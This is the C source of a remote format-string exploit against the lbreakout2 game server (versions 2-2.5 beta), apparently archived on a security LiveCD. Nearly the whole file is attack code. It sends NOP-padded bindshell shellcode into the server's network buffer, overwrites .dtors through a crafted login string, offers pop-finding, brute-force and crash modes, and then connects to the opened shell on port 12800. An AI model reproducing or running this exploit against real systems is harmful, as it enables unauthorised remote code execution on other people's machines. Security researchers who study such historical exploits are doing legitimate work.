home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / lbreakout / xlbs.c < prev   
C/C++ Source or Header  |  2005-02-12  |  14KB  |  436 lines

  1. /*[ lbreakout[2-2.5+]: remote format string exploit. ]*
  2.  * (only v2-2.5-beta1, or greater versions affected)  *
  3.  * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)   *
  4.  *                                                    *
  5.  * lbreakout(2) is a common SDL game included, in at  *
  6.  * least packaged form for many linux distributions.  *
  7.  * it can be found on:                                *
  8.  *  http://www.freshmeat.net/projects/lbreakout       *
  9.  *  http://lgames.sourceforge.net                     *
  10.  *                                                    *
  11.  * there exists multiple format string bugs within    *
  12.  * both the client, and the server.  these bugs are   *
  13.  * in the form of snprintf(buf1,len,buf2);            *
  14.  *                                                    *
  15.  * this exploit takes advantage of the initial        *
  16.  * login request, found in server/server.c:           *
  17.  *  446:snprintf( name, 20, msg_read_string() );      *
  18.  *  (the size limit(20) does not make a difference)   *
  19.  *                                                    *
  20.  * the shellcode is placed in net_buffer(1024), in    *
  21.  * memory.  which is used for all initial udp socket  *
  22.  * reading, but is not cleared.  so, the exploit      *
  23.  * works like so: send shellcode(1024 bytes).  then,  *
  24.  * send the format string buffer(64 bytes).  so, the  *
  25.  * events look like:                                  *
  26.  *                                                    *
  27.  *  first packet:                                     *
  28.  *   [1024 bytes (nops+shellcode)]                    *
  29.  *  second packet:                                    *
  30.  *   [64 bytes (format string)]                       *
  31.  *  so, net_buffer(1024) will look like:              *
  32.  *   [64 bytes][960 bytes (original shellcode)]       *
  33.  * (only thing the format string buffer overwrites    *
  34.  * are nops)                                          *
  35.  *                                                    *
  36.  * if you want to add to the platform list, simply    *
  37.  * do as followed:                                    *
  38.  *  ./xlbs -h <hostname> -g                           *
  39.  *                                                    *
  40.  * take the "(true)" pop value given.  now you have   *
  41.  * the pop value to use.                              *
  42.  *                                                    *
  43.  * then, do: objdump -sj.dtors \                      *
  44.  *           /path/to/lbreakout2server                *
  45.  *                                                    *
  46.  * then, take the address given, and add 4 bytes.     *
  47.  * now you have the .dtors address to use.            *
  48.  *                                                    *
  49.  * then, do: objdump -x /path/to/lbreakout2server | \ *
  50.  *           grep net_buffer | grep -v cur_size       *
  51.  *                                                    *
  52.  * then, take the address given, and add ~200 bytes.  *
  53.  * now you have the return address to use.  add ~200  *
  54.  * bytes because it's a shared buffer, and can get    *
  55.  * overwritten by other users, or yourself.  it's     *
  56.  * not likely for a legit packet to be over ~200      *
  57.  * bytes.  the minimum is +64(FMTSIZE) bytes.         *
  58.  *                                                    *
  59.  * i recommend when testing this exploit, using the   *
  60.  * brute force option.  ie: "./xlbs -h host.com -b",  *
  61.  * or using an offset of 24("-d 6"), for .dtors.      *
  62.  *                                                    *
  63.  * also, for when lbreakout2server/lbreakout2 is      *
  64.  * setgid games.  the -D, and -a command line         *
  65.  * arguments both use the same snprintf() method.     *
  66.  * which can also be exploited locally.               *
  67.  ******************************************************/
  68. #include <stdio.h>
  69. #include <stdlib.h>
  70. #include <string.h>
  71. #include <unistd.h>
  72. #include <getopt.h>
  73. #include <signal.h>
  74. #include <netdb.h>
  75. #include <sys/socket.h>
  76. #include <sys/types.h>
  77. #include <sys/time.h>
  78. #include <netinet/in.h>
  79. #include <arpa/inet.h>
  80. #define CODESIZE 1024 /* 1024 = net_buffer size. */
  81. #define FMTSIZE 64 /* format buffer size. */
  82. #define TIMEOUT 10 /* socket timeouts. */
  83. static char x86_exec[]= /* bindshell(12800), netric. */
  84.  "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
  85.  "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
  86.  "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x32"
  87.  "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
  88.  "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
  89.  "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
  90.  "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
  91.  "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
  92.  "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
  93.  "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
  94.  "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
  95.  "\x24\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
  96. struct platform {
  97.  unsigned int pops;
  98.  unsigned long dtors_addr;
  99.  unsigned long ret_addr;
  100. };
  101. struct platform target[]={
  102.  /* { pops,(.dtors addr+4),(net_buffer addr+200). } */
  103.  /* 2-2.5-beta1 source, on redhat7.1. */
  104.  { 14,(0x805b0ec+4),(0x0807c940+200) },
  105.  /* 2-2.5-beta2 source, on redhat7.1. */
  106.  { 14,(0x805b16c+4),(0x0807c9c0+200) },
  107.  /* put more platforms here. */
  108.  { 0,0,0 }
  109. };
  110. unsigned short pt=0; /* default platform. */
  111. char *send_packet(char *,unsigned short,char *,
  112. unsigned int,unsigned short);
  113. char *getfmt(int,int,unsigned int);
  114. char *getcode(void);
  115. void getshell(char *,unsigned short);
  116. void getpops(char *hostname,unsigned short port);
  117. void sendcode(char *,unsigned short,int,int,
  118. unsigned int);
  119. void printe(char *,short);
  120. void usage(char *);
  121. void sig_alarm(){printe("alarm signal/timeout",1);}
  122. int main(int argc,char **argv){
  123.  unsigned short port=8000; /* default. */
  124.  unsigned short getpop=0;
  125.  unsigned short brute=0;
  126.  unsigned short crash=0;
  127.  int doffset=0;
  128.  int roffset=0;
  129.  int pops=0;
  130.  int chr=0;
  131.  char *hostname=0;
  132.  while((chr=getopt(argc,argv,"t:h:p:d:r:P:gbc"))!=EOF){
  133.   switch(chr){
  134.    case 't':
  135.     /* change this if more platforms are added. */
  136.     if(atoi(optarg)<0||atoi(optarg)>1)
  137.      usage(argv[0]);
  138.     pt=atoi(optarg);
  139.     break;
  140.    case 'h':
  141.     if(!hostname&&!(hostname=(char *)strdup(optarg)))
  142.      printe("main(): allocating memory failed",1);
  143.     break;
  144.    case 'p':
  145.     port=atoi(optarg);
  146.     break;
  147.    case 'd':
  148.     doffset=(atoi(optarg)*4);
  149.     break;
  150.    case 'r':
  151.     roffset=atoi(optarg);
  152.     break;
  153.    case 'P':
  154.     pops=atoi(optarg);
  155.     break;
  156.    case 'g':
  157.     getpop=1;
  158.     break;
  159.    case 'b':
  160.     brute=1;
  161.     break;
  162.    case 'c':
  163.     crash=1;
  164.     break;
  165.    default:
  166.     usage(argv[0]);
  167.     break;
  168.   }
  169.  }
  170.  if(!hostname)
  171.   usage(argv[0]);
  172.  printf(
  173.  "[*] lbreakout[2-2.5+]: remote format string exploit"
  174.  ".\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh"
  175.  "alo)\n\n");
  176.  if(getpop){
  177.   getpops(hostname,port);
  178.   exit(0);
  179.  }
  180.  else if(crash){
  181.   /* this can sometimes help to activate the code. */
  182.   printf("[*] sending server crash code.\n");
  183.   /* login(name,pwd) buffer prefix, pwd is ignored. */
  184.   send_packet(hostname,port,"\x00\x00\x00\x00\x00\x00"
  185.   "\x00\x00\x03\x04%n",12,0);
  186.  }
  187.  else{
  188.   if(brute){
  189.    for(doffset=0;doffset<444;doffset+=4)
  190.     sendcode(hostname,port,doffset,roffset,pops);
  191.    printf("[!] brute force failed.\n");
  192.   }
  193.   else
  194.    sendcode(hostname,port,doffset,roffset,pops);
  195.  }
  196.  exit(0);
  197. }
  198. char *send_packet(char *hostname,unsigned short port,
  199. char *data,unsigned int len,unsigned short getreply){
  200.  int u;
  201.  unsigned char *buf;
  202.  struct hostent *he;
  203.  struct sockaddr_in sa;
  204.  u=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  205.  sa.sin_family=AF_INET;
  206.  sa.sin_port=htons(port);
  207.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  208.   if(!(he=gethostbyname(hostname))){
  209.    printe("send_packet(): couldn't resolve",0);
  210.    return("(NULL)");
  211.   }
  212.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  213.   sizeof(sa.sin_addr));
  214.  }
  215.  /* magic udp connection. */
  216.  connect(u,(struct sockaddr *)&sa,sizeof(sa));
  217.  write(u,data,len);
  218.  if(getreply){
  219.   if(!(buf=(char *)malloc(512+1)))
  220.    printe("send_packet(): allocating memory failed",1);
  221.   memset(buf,0x0,(512+1));
  222.   if(read(u,buf,512)<1){
  223.    close(u);
  224.    return("(NULL)");
  225.   }
  226.   close(u);
  227.   return(buf);
  228.  }
  229.  close(u);
  230.  return("(NULL)");
  231. }
  232. char *getfmt(int doff,int roff,unsigned int pop){
  233.  unsigned int addrl,addrh;
  234.  unsigned int pops=(pop?pop:target[pt].pops);
  235.  unsigned long dtors=(target[pt].dtors_addr+doff);
  236.  unsigned long addr=((target[pt].ret_addr+roff)-1);
  237.  char *buf;
  238.  char taddr[3];
  239.  taddr[0]=(dtors&0xff000000)>>24;
  240.  taddr[1]=(dtors&0x00ff0000)>>16;
  241.  taddr[2]=(dtors&0x0000ff00)>>8;
  242.  taddr[3]=(dtors&0x000000ff);
  243.  addrh=(addr&0xffff0000)>>16;
  244.  addrl=(addr&0x0000ffff);
  245.  if(!(buf=(char *)malloc(FMTSIZE+1)))
  246.   printe("getfmt(): allocating memory failed",1);
  247.  memset(buf,0x0,(FMTSIZE+1));
  248.  /* login(name,pwd) buffer prefix, pwd is ignored. */
  249.  memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04"
  250.  ,10);
  251.  if(addrh<addrl)
  252.   sprintf(buf+10,
  253.   "%c%c%c%c%c%c%c%c" /* -8 bytes. */
  254.   "%%.%dd%%%d$hn"
  255.   "%%.%dd%%%d$hn",
  256.   taddr[3]+2,taddr[2],taddr[1],taddr[0],
  257.   taddr[3],taddr[2],taddr[1],taddr[0],
  258.   (addrh-8),pops,(addrl-addrh),(pops+1));
  259.  else
  260.   sprintf(buf+10,
  261.   "%c%c%c%c%c%c%c%c" /* -8 bytes. */
  262.   "%%.%dd%%%d$hn"
  263.   "%%.%dd%%%d$hn",
  264.   taddr[3]+2,taddr[2],taddr[1],taddr[0],
  265.   taddr[3],taddr[2],taddr[1],taddr[0],
  266.   (addrl-8),(pops+1),(addrh-addrl),pops);
  267.  return(buf);
  268. }
  269. char *getcode(void){
  270.  char *buf;
  271.  if(!(buf=(char *)malloc(CODESIZE+1)))
  272.   printe("getcode(): allocating memory failed",1);
  273.  memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
  274.  memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
  275.  strlen(x86_exec));
  276.  return(buf);
  277. }
  278. void getshell(char *hostname,unsigned short port){
  279.  int sock,r;
  280.  fd_set fds;
  281.  char buf[4096];
  282.  struct hostent *he;
  283.  struct sockaddr_in sa;
  284.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))
  285.  ==-1){
  286.   printe("getshell(): socket() failed",0);
  287.   return;
  288.  }
  289.  sa.sin_family=AF_INET;
  290.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  291.   if(!(he=gethostbyname(hostname))){
  292.    printe("couldn't resolve",0);
  293.    return;
  294.   }
  295.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  296.   sizeof(sa.sin_addr));
  297.  }
  298.  sa.sin_port=htons(port);
  299.  /* i'm a lazy man, sometimes. */
  300.  signal(SIGALRM,sig_alarm);
  301.  alarm(TIMEOUT);
  302.  printf("[*] attempting to connect: %s:%d.\n",
  303.  hostname,port);
  304.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  305.   printf("[!] connection failed: %s:%d.\n",
  306.   hostname,port);
  307.   return;
  308.  }
  309.  alarm(0);
  310.  printf("[*] successfully connected: %s:%d.\n\n",
  311.  hostname,port);
  312.  signal(SIGINT,SIG_IGN);
  313.  write(sock,"uname -a;id\n",13);
  314.  while(1){
  315.   FD_ZERO(&fds);
  316.   FD_SET(0,&fds);
  317.   FD_SET(sock,&fds);
  318.   if(select(sock+1,&fds,0,0,0)<1){
  319.    printe("getshell(): select() failed",0);
  320.    return;
  321.   }
  322.   if(FD_ISSET(0,&fds)){
  323.    if((r=read(0,buf,sizeof(buf)))<1){
  324.     printe("getshell(): read() failed",0);
  325.     return;
  326.    }
  327.    if(write(sock,buf,r)!=r){
  328.     printe("getshell(): write() failed",0);
  329.     return;
  330.    }
  331.   }
  332.   if(FD_ISSET(sock,&fds)){
  333.    if((r=read(sock,buf,sizeof(buf)))<1)
  334.     exit(0);
  335.    write(1,buf,r);
  336.   }
  337.  }
  338.  close(sock);
  339.  return;
  340. }
  341. /* rough/dirty, but accurate.  sends login(format) */
  342. /* request is: "xxxx[1 char packet identity][%x]." */
  343. void getpops(char *hostname,unsigned short port){
  344.  unsigned int pops=0;
  345.  char orig[4+1];
  346.  char match[8+1];
  347.  char *buf;
  348.  unsigned char *reply; /* for %d of reply[17]. */
  349.  if(!(buf=(char *)malloc(FMTSIZE+1)))
  350.   printe("getpops(): allocating memory failed",1);
  351.  printf("NOTE: i did not add the command to disconnec"
  352.  "t the user.\nso, you have to wait roughly a minute "
  353.  "before each user\n(format string placed as a user) "
  354.  "times out.  basically,\nwait a minute in-between us"
  355.  "ing it.  also, the packets may\nor may not come bac"
  356.  "k in order. (or come back at all)\n\n");
  357.  printf("[*] finding pop value: %s:%d.\n\n",hostname,
  358.  port);
  359.  while(pops++<255){
  360.   memset(buf,0x0,(FMTSIZE+1));
  361.   memcpy(buf,"\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04"
  362.   ,10);
  363.   /* 37=0x25='%' will get processed as a format. */
  364.   if(pops==37)
  365.    sprintf(buf+10,"xxxx%c%c%%%d$x%cunused%c",pops,
  366.    pops,pops,0x0,0x0);
  367.   else
  368.    sprintf(buf+10,"xxxx%c%%%d$x%cunused%c",pops,
  369.    pops,0x0,0x0);
  370.   reply=(char *)send_packet(hostname,port,buf,
  371.   FMTSIZE,1);
  372.   /* proof of packet reply desired. */
  373.   memset(orig,0x0,4+1);
  374.   sprintf(orig,"%.4s",(reply+13));
  375.   /* want this to be 78787878. (xxxx) */
  376.   memset(match,0x0,8+1);
  377.   sprintf(match,"%.8s",(reply+18));
  378.   /* make sure its the packet desired. */
  379.   if(strlen(match)&&strlen(orig)&&
  380.   !strcmp("xxxx",orig)){
  381.    if(!strcmp("78787878",match)){
  382.     printf("%d:\t(true)\t%s\n",reply[17],match);
  383.     printf("\n[*] the pop value is: %d.\n",pops);
  384.     return;
  385.    }
  386.    else
  387.     printf("%d:\t(false)\t%s\n",reply[17],
  388.     strlen(match)?match:"(no data)");
  389.   }
  390.   usleep(100000); /* pace it. */
  391.  }
  392.  printf("\n[!] pop location find failed.\n");
  393.  return;
  394. }
  395. void sendcode(char *hostname,unsigned short port,
  396. int doff,int roff,unsigned int pops){
  397.  printf("\ntarget=%s:%d pops=%d dtors=0x%.8lx(+%d)"
  398.  " ret=0x%.8lx(+%d)\n\n",hostname,port,(pops?pops:
  399.  target[pt].pops),target[pt].dtors_addr,doff,
  400.  target[pt].ret_addr,roff);
  401.  printf("[*] sending code buffer. (net_buffer)\n");
  402.  send_packet(hostname,port,getcode(),CODESIZE,0);
  403.  sleep(1); /* needs to be done in order. */
  404.  printf("[*] sending format string, new .dtors.\n");
  405.  send_packet(hostname,port,getfmt(doff,roff,pops),
  406.  FMTSIZE,0);
  407.  sleep(1); /* give it some time to set in. */
  408.  getshell(hostname,12800); /* defined in shellcode. */
  409.  return;
  410. }
  411. void printe(char *err,short e){
  412.  printf("[!] error: %s.\n",err);
  413.  if(e)
  414.   exit(1);
  415.  return;
  416. }
  417. void usage(char *name){
  418.  printf(
  419.  "[*] lbreakout[2-2.5+]: remote format string exploit"
  420.  ".\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh"
  421.  "alo)\n\n usage: %s [options] -h hostname\n\n option"
  422.  "s:\n  -t <number>\tdefines the platform value.\n  -"
  423.  "h <string>\tdefines the hostname/ip to connect to."
  424.  "\n  -p <number>\tdefines the port to connect to.\n "
  425.  " -d <number*4>\tdefines the offset to use. (dtors_a"
  426.  "ddr)\n  -r <number>\tdefines the offset to use. (re"
  427.  "t_addr)\n  -P <number>\tdefines alternate pop value"
  428.  " to use.\n  -g\t\tdefines pop finder mode.\n  -b\t"
  429.  "\tdefines brute force mode.\n  -c\t\tdefines server"
  430.  " crash mode.\n\n platforms:\n  0\t\tlbreaout2server"
  431.  " v2-2.5beta1-src on RedHat 7.1. (default)\n  1\t\tl"
  432.  "breaout2server v2-2.5beta2-src on RedHat 7.1.\n\n",
  433.  name);
  434.  exit(0);
  435. }
  436.